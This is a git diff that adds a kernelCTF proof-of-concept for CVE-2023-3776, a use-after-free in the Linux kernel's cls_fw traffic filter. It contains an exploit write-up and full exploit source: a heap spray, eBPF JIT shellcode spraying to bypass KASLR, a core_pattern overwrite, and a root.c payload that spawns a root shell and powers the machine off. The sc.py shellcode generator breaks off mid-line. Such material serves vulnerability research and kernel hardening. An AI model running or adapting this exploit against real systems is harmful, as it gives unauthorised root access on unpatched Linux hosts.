diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/docs/exploit.md new file mode 100644 index 000000000..ff31d2fc8 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/docs/exploit.md @@ -0,0 +1,232 @@ +### Triggering Vulnerability +Using this vulnerability, we can set reference counter of qdisc class to 0, and then free qdisc class (by deleting the class) while it still attached to the active filter. +When packet sent to the network, it will enqueue to the network scheduler. If the packet match to our filter, then it will return our freed qdisc class. +Qdisc class object contain qdisc object which used to enqueue packets to the respective network interface via function pointer. + +Snippet code if we use drr_class as target object as target object. + +```c++ +static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch, + struct sk_buff **to_free) +{ + unsigned int len = qdisc_pkt_len(skb); + struct drr_sched *q = qdisc_priv(sch); + struct drr_class *cl; + int err = 0; + bool first; + + cl = drr_classify(skb, sch, &err); // [1] + ... + err = qdisc_enqueue(skb, cl->qdisc, to_free); + ... + return err; +} + +static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch, + struct sk_buff **to_free) +{ + qdisc_calculate_pkt_len(skb, sch); + return sch->enqueue(skb, sch, to_free); // [2] +} +``` + +In [1], drr_classify will return freed `drr_class`, then this freed object is used to get the qdisc object via `cl->qdisc` and passed to `qdisc_enqueue` function. If we can control `cl->qdisc->enqueue` we can get RIP control at [2]. + +### Target objects +Our target objects is `struct drr_class` that resides inside kmalloc-128. + +### Spray objects + +#### For LTS/COS instance + +Since there is no CONFIG_KMALLOC_SPLIT_VARSIZE, we can reallocated `struct drr_class` with `ctl_buf`. We use sendmsg to spray ctl_buf with controlled data in line [3]. + +```C +static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys, + unsigned int flags, struct used_address *used_address, + unsigned int allowed_msghdr_flags) +... + BUILD_BUG_ON(sizeof(struct cmsghdr) != + CMSG_ALIGN(sizeof(struct cmsghdr))); + if (ctl_len > sizeof(ctl)) { + ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); + if (ctl_buf == NULL) + goto out; + } + err = -EFAULT; + if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len)) //[3] + goto out_freectl; +``` + +#### For Mitigation instance +Because CONFIG_KMALLOC_SPLIT_VARSIZE is enable, we need to find a struct we can spray in kmalloc-128 fixed cache. We found out `struct ctnetlink_filter` is in the right cache. We can spray it and put payload. + +```C +static struct ctnetlink_filter * +ctnetlink_alloc_filter(const struct nlattr * const cda[], u8 family) +{ + struct ctnetlink_filter *filter; + int err; +... + + filter = kzalloc(sizeof(*filter), GFP_KERNEL); +... + err = ctnetlink_filter_parse_mark(&filter->mark, cda); + if (err) + goto err_filter; + + err = ctnetlink_parse_filter(cda[CTA_FILTER], filter); + if (err < 0) + +``` + +This technique allows 8-byte overwrite at offset 0x60 but requires CONFIG_NF_CONNTRACK_MARK (+ CONFIG_NETFILTER_ADVANCED + CONFIG_NETFILTER) enabled. + +### KASLR Bypass +#### Spray eBPF programs +Our goal is to do some eBPF JIT spraying so later when we control kernel RIP, it will jump to the JIT page and execute our shellcode. + +Linux kernel provide a socket option `SO_ATTACH_FILTER` and let user to attach a classic BPF program to the socket for use as a filter of incoming packets. + +By creating lots of sockets and attach to classic BPF program, we can spray a lot of eBPF programs in kernel. +```cpp + struct sock_fprog prog = { + .len = TSIZE, + .filter = filter, + }; + for(int i=0;iqdisc` to fixed kernel address that contain our controlled value, and then set `enqueue` function pointer to guessed ebpf JIT address. + +### Post RIP + +Once we control the kernel RIP and jump into the middle of our eBPF program, the shellcode we crafted will cause core_pattern being overwritten to `|/proc/%P/fd/666`: + +We then use memfd and write an executable file payload in fd 666. +```C +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("root", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + *(size_t *)0 = 0; +} +``` + +Later when coredump happened, it will execute our executable file as root in root namespace: +```C +*(size_t*)0=0; //trigger coredump +``` + +Executable file `root` is used to spawn shell when coredump happened. This is the code looks like: +```c++ +void* job(void* x){ + FILE* fp = popen("pidof billy","r"); + fread(buf,1,0x100,fp); + fclose(fp); + int pid = strtoull(buf,0,10); + int pfd = syscall(SYS_pidfd_open,pid,0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd,0); + dup2(stdoutfd,1); + dup2(stderrfd,2); + execlp("bash","bash",NULL); + +} +int main(int argc,char** argv){ + job(0); +} +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..7133fb02d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilites: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NET_SCHED=y, CONFIG_NET_CLS_FW=y + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/diff/net/sched/cls_fw.c?id=1da177e4c3f4 +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0323bce598eea038714f941ce2b22541c46d488f +- Affected Version: v2.6.12-rc2 - v6.5-rc7 +- Affected Component: net/sched +- Syscall to disable: disallow unprivileged username space +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-3776 +- Cause: Use-After-Free +- Description: A use-after-free vulnerability in the Linux kernel's net/sched: cls_fw component can be exploited to achieve local privilege escalation. If tcf_change_indev() fails, fw_set_parms() will immediately return an error after incrementing or decrementing the reference counter in tcf_bind_filter(). If an attacker can control the reference counter and set it to zero, they can cause the reference to be freed, leading to a use-after-free vulnerability \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/Makefile b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/Makefile new file mode 100644 index 000000000..50edad6f1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/Makefile @@ -0,0 +1,18 @@ +exploit: poc root run.sh + tar czf ./poc.tar.gz root poc POC ip0 ip1 + cp run.sh exploit + fallocate -l 512 exploit + dd if=poc.tar.gz of=exploit conv=notrunc oflag=append + +poc: poc.c foo.o sc.h + gcc poc.c -o poc -static -no-pie -g foo.o -pthread +root: root.c + gcc -static -o root root.c +foo.o: foo.s + nasm -f elf64 foo.s +sc.h: sc.py + python3 sc.py > sc.h + +clean: + rm -rf exploit poc foo.o sc.h root + diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/POC b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/POC new file mode 100644 index 000000000..7ac6c6364 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/POC differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/exploit b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/exploit new file mode 100644 index 000000000..b3e624ef7 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/foo.o b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/foo.o new file mode 100644 index 000000000..ba3ffecd8 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/foo.o differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/foo.s b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/foo.s new file mode 100644 index 000000000..f437a8e33 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/foo.s @@ -0,0 +1,25 @@ +section .text + global write_to_cpu_entry_area + global handle +write_to_cpu_entry_area: + mov rsp,rdi + pop r15 + pop r14 + pop r13 + pop r12 + pop rbp + pop rbx + pop r11 + pop r10 + pop r9 + pop r8 + pop rax + pop rcx + pop rdx + pop rsi + pop rdi + div qword [0x1234000] + + + + diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/ip0 b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/ip0 new file mode 100755 index 000000000..060aff4df Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/ip0 differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/ip1 b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/ip1 new file mode 100755 index 000000000..e59a56acc Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/ip1 differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc new file mode 100755 index 000000000..72257913a Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc.c b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc.c new file mode 100644 index 000000000..55d79687e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc.c @@ -0,0 +1,306 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define SYSCHK(x) ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ +}) + +#define PAUSE \ + { \ + printf(":"); \ + int x; \ + read(0, &x, 1); \ + } +extern void write_to_cpu_entry_area(void *buf); +void handle(int s) {} +void set_cpu(int i) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(i, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} +int cfd[2]; +int sfd[0x200][2]; +char payload[0x1000]; +char buf[0x1000]; +struct sock_filter filter[0x1000]; +int stopfd[2]; +const int DRR_CLASS_SPRAY_THREADS = 0x100; + +void *job(void *x) +{ + size_t idx = (size_t)x; + write(cfd[0], buf, 1); + read(cfd[0], buf, 1); + set_cpu(0); + struct iovec iov = {buf, 0x1000}; + struct msghdr mhdr = { + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = payload, + .msg_controllen = 0x80}; + sendmsg(sfd[idx][1], &mhdr, 0); +} + +void do_spray() +{ + memset(payload,0,0x1000); + struct cmsghdr *first; + first = (struct cmsghdr *)payload; + first->cmsg_len = 0x400; + first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg + first->cmsg_type = 0x41414141; + + /* Try to overwrite struct drr_class's qdisc at offset 0x60 */ + /* That address is at CPU#1 cpu_entry_area's entry_stack_page (stack address) while it try to push r15 in function error_entry*/ + *(size_t*)&payload[0x60] = 0xfffffe000003df58; + + for (int i = 0; i < DRR_CLASS_SPRAY_THREADS; i++) + { + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sfd[i])); + int n = 0x800; + setsockopt(sfd[i][1], SOL_SOCKET, SO_SNDBUF, (char *)&n, sizeof(n)); + setsockopt(sfd[i][0], SOL_SOCKET, SO_RCVBUF, (char *)&n, sizeof(n)); + write(sfd[i][1], buf, 0x1000); + } + pthread_t tid; + for (int i = 0; i < DRR_CLASS_SPRAY_THREADS; i++) + pthread_create(&tid, 0, job, (void*)(size_t)i); + read(cfd[1], buf, DRR_CLASS_SPRAY_THREADS); +} + +int sc(void) +{ + set_cpu(1); + unsigned int prog_len = 0x900; + /* In current environment, the max instructions in a program is near 0x900 + And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably + */ + struct sock_filter table[] = { + {.code = BPF_LD + BPF_K, .k = 0xb3909090}, + {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}}; + +/* 0xb3909090 is NOPsled shellclode to make exploitation more reliable +90 nop +90 nop +90 nop +b3 b8 mov bl, 0xb8 +*/ + for (int i = 0; i < prog_len; i++) + filter[i] = table[0]; + + filter[prog_len - 1] = table[1]; + int idx = prog_len - 2; + +#include "sc.h" + + struct sock_fprog prog = { + .len = prog_len, + .filter = filter, + }; + int fd[2]; + for (int k = 0; k < 0x50; k++) + { + if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit. + { + close(stopfd[1]); + for (int i = 0; i < 0x100; i++) + { + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd)); + SYSCHK(setsockopt(fd[0], SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog))); + } + write(stopfd[0], buf, 1); + read(stopfd[0], buf, 1); + exit(0); + } + } + /* wait for all forks to finish spraying BPF code */ + read(stopfd[1], buf, 0x50); +} +char POC[0x1000]; + +// the payload generated from `tc class delete dev lo classid 1:10` +// to generate payload from `tc` command, we can breakpoint at `netlink_sendmsg` +// after `tc` command is run, and we can dump the payload using this gdb command: +// dump binary memory /tmp/tc_del msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len +// refs: https://man7.org/linux/man-pages/man7/rtnetlink.7.html https://wiki.slank.dev/book/types.html +size_t DEL[] = { + 0x0005002900000024, 0x00000000649bcb96, + 0x0000000100000000, 0x0001000000010010, + 0x0000000000000000}; + +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("root", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} +void unshare_setup(uid_t uid, gid_t gid) +{ + int temp, ret; + char edit[0x100]; + ret = unshare(CLONE_NEWNET | CLONE_NEWUSER); + if (ret < 0) + { + perror("unshare"); + } + temp = open("/proc/self/setgroups", O_WRONLY); + write(temp, "deny", strlen("deny")); + close(temp); + temp = open("/proc/self/uid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", uid); + write(temp, edit, strlen(edit)); + close(temp); + temp = open("/proc/self/gid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", gid); + write(temp, edit, strlen(edit)); + close(temp); + return; +} + +int main(int argc, char **argv) +{ + if (fork() == 0) // this process is used to find our process by `pidof billy` + { + set_cpu(1); + strcpy(argv[0], "billy"); + while (1) + sleep(1); + } + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + set_cpu(1); + setsid(); + crash(""); + } + setvbuf(stdout, 0, 2, 0); + unshare_setup(getuid(), getgid()); + socketpair(AF_UNIX, SOCK_STREAM, 0, cfd); + socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd); + struct rlimit rlim = { + .rlim_cur = 0xf000, + .rlim_max = 0xf000}; + setrlimit(RLIMIT_NOFILE, &rlim); + + // iptables-legacy -t mangle -A POSTROUTING -d 127.0.0.1/24 -j MARK --set-mark 1 + { + set_cpu(1); + int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); + int fd = open("./ip0", O_RDONLY); + int n = read(fd, buf, 0x1000); + setsockopt(s, 0, 64, buf, n); + fd = open("./ip1", O_RDONLY); + n = read(fd, buf, 0x1000); + setsockopt(s, 0, 65, buf, n); + set_cpu(0); + } + + char *core = (void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0); + strcpy(core, "|/proc/%P/fd/666"); // put payload string into known address which will used by ebpf shellcode + + int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); // later use this socket to trigger vuln + set_cpu(1); + sc(); // spray ebpf program. + do_spray(); // prepare spray thread first. + set_cpu(0); + + /* + ip link set lo up + tc qdisc add dev lo root handle 1: drr + tc class add dev lo parent 1: classid 1:10 drr quantum 60 + tc filter add dev lo parent 1: pref 100 protocol ip handle 1 fw classid 1:10 + tc filter replace dev lo pref 100 protocol ip handle 1 fw classid 1:20 indev loo + */ + /* + generated using gdb command after breakpoint on netlink_sendmsg: + dump binary memory /tmp/POC msg->msg_iter.iov[0].iov_base msg->msg_iter.iov[0].iov_base+msg->msg_iter.iov[0].iov_len + */ + { + int poc_fd = open("./POC", O_RDONLY); + read(poc_fd, POC, 0x1000); + write(fd, POC, 0x1000); + } + + write(fd, DEL, 0x24); // tc class delete dev lo classid 1:10 + write(cfd[1], buf, 0x200); // spray kmalloc-0x80 to reallocate. + sleep(3); + + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(80), + .sin_addr.s_addr = inet_addr("127.0.0.1"), + }; + + size_t fake_qdisc_struct[0x10] = {}; + + /* Overwrite struct Qdisc's enqueue which is function ptr + struct Qdisc { + int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff * *); + struct sk_buff * (*dequeue)(struct Qdisc *); + unsigned int flags; + */ + + fake_qdisc_struct[0] = 0xffffffffcc000000 - 0x800; + + /* + eBPF generated shellcode is lay in this range, we spray eBPF multiple times and summarize it's often near in this page. + It's more reliabe we choose address in the middle of the page + ffffffffa0000000 |-1536 MB | fffffffffeffffff | 1520 MB | module mapping space + */ + + int c = socket(AF_INET, SOCK_DGRAM, 0); + + if (fork() == 0) // Put payload in fixed kernel address (CVE-2023-0597) + { + set_cpu(1); + signal(SIGFPE, handle); + signal(SIGTRAP, handle); + signal(SIGSEGV, handle); + setsid(); + write_to_cpu_entry_area(fake_qdisc_struct); + } + sleep(1); + /* Trigger Qdisc filter our packet and control kernel RIP */ + SYSCHK(sendto(c, buf, 0x10, 0, (void *)&addr, sizeof(addr))); +} diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc.tar.gz b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc.tar.gz new file mode 100644 index 000000000..bf4ae23ac Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/poc.tar.gz differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/root b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/root new file mode 100755 index 000000000..8e5893089 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/root differ diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/root.c b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/root.c new file mode 100644 index 000000000..c71dffe80 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/root.c @@ -0,0 +1,43 @@ +#define _GNU_SOURCE /* See feature_test_macros(7) */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define SYS_pidfd_getfd 438 +char buf[0x100]; +char path[0x100]; +int res; +int fd; +int port; +char* ip; +void* job(void* x){ + FILE* fp = popen("pidof billy","r"); + fread(buf,1,0x100,fp); + fclose(fp); + int pid = strtoull(buf,0,10); + sprintf(path,"/proc/%d/ns/net",pid); + int pfd = syscall(SYS_pidfd_open,pid,0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd,0); + dup2(stdoutfd,1); + dup2(stderrfd,2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow*/ + system("cat /flag;echo o>/proc/sysrq-trigger"); + execlp("bash","bash",NULL); + +} +int main(int argc,char** argv){ + job(0); + + +} diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/run.sh b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/run.sh new file mode 100644 index 000000000..c3f781b15 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/run.sh @@ -0,0 +1,5 @@ +#!/bin/sh +dd if=$0 of=/tmp/exp.tar.gz skip=1 +cd /tmp +tar -xf exp.tar.gz +./poc diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/sc.h b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/sc.h new file mode 100644 index 000000000..f3f8aa712 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/sc.h @@ -0,0 +1,51 @@ +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c14e7c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c70b740}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90ff31}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf02948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c60b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c54b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c5eb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c00b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909058}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909050}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9030b2}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c10e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd08948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf22948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c30b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd6b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc5b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c01b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd78948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c50b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c3eb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c3ab640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c01b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ce2d348}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9020b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90320f}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9082b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c18e1c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c0b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; diff --git a/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/sc.py b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/sc.py new file mode 100644 index 000000000..a5143674e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/exploit/cos-93-16623.341.29/sc.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 + +from pwn import * +import struct + +entry_syscall = 0xffffffff82000010 +core_pattern = 0xffffffff833a3e60 +copy_from_user = 0xffffffff81746830 +msleep = 0xffffffff811613d0 + +off1 = entry_syscall-core_pattern +off2 = core_pattern-copy_from_user +off3 = copy_from_user-msleep +ins = ["sub", "add"] + +context.arch = 'amd64' + +ASM=f""" +; do rdmsr(MSR_LSTAR) so EDX and EAX will contain address of entry_SYSCALL_64 +; ECX should be MSR_LSTAR ( 0xc0000082 ) +xor ecx, ecx +xor edx, edx +mov cl, 0xc0 +shl ecx, 24 +mov cl, 0x82 +rdmsr +; make rdx = entry_SYSCALL_64's address +xor ecx, ecx +mov cl, 32 +shl rdx, cl +add rdx, rax +; entry_SYSCALL_64 + 0x15a68e0 = core_pattern +; move core_pattern to rdi ( 1st arg ) +xor esi,esi +mov sil, {(abs(off1)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off1)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off1)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off1))&0xff} +{ins[off1<0]} rdx, rsi +mov rdi, rdx +; core_pattern - 0x1fe7cc0 = copy_from_user +; move copy_from_user to rax +xor esi,esi +mov sil, {(abs(off2)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off2)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off2)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off2))&0xff} +{ins[off2<0]} rdx, rsi +mov rax, rdx +; call copy_from_user(core_pattern, user_buf, 0x30); +; user_buf = 0xa00000 = "|/proc/%P/fd/666" +xor esi, esi +mov sil,0xa0 +shl esi,16 +xor edx,edx +mov dl,0x30 +push rax +call rax +pop rax +; copy_from_user - 0x63f6d0 = msleep +xor esi, esi +mov sil, {(abs(off3)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off3)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off3)>>8)&0xff} +shl esi, 8 +mov sil, 